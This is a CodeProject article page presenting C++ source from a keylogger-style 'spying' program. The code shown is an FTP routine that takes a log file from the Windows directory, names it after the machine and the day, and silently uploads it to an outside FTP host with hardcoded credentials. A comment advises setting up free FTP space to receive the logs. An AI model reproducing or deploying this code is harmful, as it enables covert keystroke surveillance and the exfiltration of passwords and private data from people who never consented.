Click here to Skip to main content
15,892,927 members
Articles / Programming Languages / C++

Spying on computer usage via keyboard hooks

Rate me:
Please Sign up or sign in to vote.
4.22/5 (8 votes)
22 Sep 20012 min read 103.5K   2.6K   49  
This program can be used to find out how your computer is being used while you are away.
////////////////////////////////////////////////////////////////////
// 	  This program is done by Hirosh Joseph from india            //
//       Email hirosh@hirosh.com	        		              //	
//       Website www.hirosh.com,www.hirosh.net,www.hirosh.org     // 
// 	  I always welcome to ur valuble comments                     // 
////////////////////////////////////////////////////////////////////
#include "stdafx.h"


// General Globals
char     szAppName[20]  = "ServPost";
DWORD    dwBinary       = FTP_TRANSFER_TYPE_BINARY;


int ftppost()
{
   HINTERNET   hInternet, hHost; // handles.
   int         i;
   char        szHost[128];
   char        szPath[MAX_PATH];
   char        szFile[MAX_PATH];
//U can create free ftp space in www.xoasis.com like websites
   lstrcpy( szHost, "ftp.xoasis.com");
   lstrcpy( szFile, "" );
   
   lstrcpy(szPath, "/"); // Use root as default path.
   // Get the path, if prepended to filename.
   for (i=strlen(szFile); i>0; --i)
   {
      if (szFile[i]=='/' || szFile[i]=='\\')
      {
         strncpy(szPath, szFile, ++i);
         szPath[i]= 0; // terminate.
         lstrcpy(szFile, szFile+i);
         break;
      }
   }
   
   hInternet = InternetOpen( szAppName, LOCAL_INTERNET_ACCESS , NULL, 0, 0 );
   if (!hInternet) 
   {  
     //MessageBox(0,"111","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }

   hHost = InternetConnect( hInternet, szHost, INTERNET_INVALID_PORT_NUMBER, 
           "Username","Password", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE , 0);
   if (!hHost)
   {//MessageBox(0,"222","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }
 
   if (!FtpSetCurrentDirectory( hHost, szPath ))
   {
	  //MessageBox(0,"333","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }

	char b[MAX_PATH];
	strcpy(b,"");
	GetWindowsDirectory(b,MAX_PATH);
	strcat(b, "\\Servback.txt" );
	strcat(b,"\0");

	DWORD dwSize; 
	char szBuffer[MAX_COMPUTERNAME_LENGTH + 1];
	dwSize = MAX_COMPUTERNAME_LENGTH + 1;
	GetComputerName (szBuffer, &dwSize);

	SYSTEMTIME stime;
	char sdate[5];
	GetSystemTime(&stime);
	sprintf(sdate,"%d.txt",stime.wDay); 
	char fname[100];
	strcpy(fname,szBuffer);
	strcat(fname,sdate);
	strcat(fname,"\0");



	
if (!FtpPutFile( hHost, b,fname,FTP_TRANSFER_TYPE_ASCII ,0))
   {
	//MessageBox(0,"444","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }
 
  InternetCloseHandle( hHost );
   InternetCloseHandle( hInternet );

   return 0;
}

By viewing downloads associated with this article you agree to the Terms of Service and the article's licence.

If a file you wish to view isn't highlighted, and is a text file (not binary), please let us know and we'll add colourisation support for it.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here


Written By
United States United States
This member has not yet provided a Biography. Assume it's interesting and varied, and probably something to do with programming.

Comments and Discussions